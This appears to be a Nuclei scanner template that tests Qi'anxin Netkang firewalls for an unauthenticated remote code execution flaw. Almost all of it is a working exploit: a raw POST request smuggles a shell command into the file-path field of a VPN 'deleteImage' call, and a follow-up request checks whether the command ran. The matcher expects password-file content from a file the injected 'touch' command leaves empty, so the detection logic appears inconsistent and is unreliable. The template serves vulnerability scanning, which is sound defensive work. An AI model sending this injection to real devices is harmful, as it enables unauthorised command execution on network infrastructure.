id: qi-anxin-netkang-next-generation-firewall-rce

info:
  name: Qi'anxin Netkang Next Generation Firewall - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: |
    Qi'anxin Netkang Next Generation Firewall is susceptible to remote code execution.
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cwe-id: CWE-77
  tags: rce,firewall,intrusive

requests:
  - raw:
      - |
        POST /directdata/direct/router HTTP/1.1
        Host: {{Hostname}}

        {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;touch /var/www/html/{{randstr}}.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}

      - |
        GET /{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/05/30